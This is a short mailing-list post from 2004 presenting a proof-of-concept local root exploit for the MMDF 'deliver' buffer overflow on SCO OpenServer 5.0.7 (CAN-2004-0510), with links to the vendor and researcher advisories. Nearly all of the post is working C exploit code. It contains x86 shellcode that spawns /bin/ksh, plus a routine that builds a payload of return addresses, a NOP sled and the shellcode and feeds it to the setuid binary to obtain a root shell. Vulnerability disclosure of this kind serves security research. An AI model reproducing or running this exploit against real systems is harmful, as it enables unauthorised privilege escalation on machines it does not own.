Hi,

I have written a proof of concept code for one of the various buffer overflows reported by Deprotect and SCO in:

ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2004.7/SCOSA-2004.7.txt

http://www.deprotect.com/advisories/DEPROTECT-20040206.txt

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned MMDF buffer overflows the name CAN-2004-0510.

/*

* MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86

* Copyright 2004 Ramon de Carvalho Valle

*

*/

char shellcode[]= /* 36 bytes */

"\x68\xff\xf8\xff\x3c" /* pushl $0x3cfff8ff */

"\x6a\x65" /* pushl $0x65 */

"\x89\xe6" /* movl %esp,%esi */

"\xf7\x56\x04" /* notl 0x04(%esi) */

"\xf6\x16" /* notb (%esi) */

"\x31\xc0" /* xorl %eax,%eax */

"\x50" /* pushl %eax */

"\x68""/ksh" /* pushl $0x68736b2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,%ebx */

"\x50" /* pushl %eax */

"\x50" /* pushl %eax */

"\x53" /* pushl %ebx */

"\xb0\x3b" /* movb $0x3b,%al */

"\xff\xd6" /* call *%esi */

;

main(int argc,char **argv) {

char buffer[16384],address[4],*p;

int i;

printf("MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86\n");

printf("Copyright 2004 Ramon de Carvalho Valle\n\n");

*((unsigned long *)address)=(unsigned long)buffer-256+5120+4097;

sprintf(buffer,"-c");

p=buffer+2;

for(i=0;i<5120;i++) *p++=address[i%4];

for(i=0;i<8192;i++) *p++=0x90;

for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];

*p=0;

execl("/usr/mmdf/bin/deliver","deliver",buffer,0);

}

Best regards,

Ramon de Carvalho Valle

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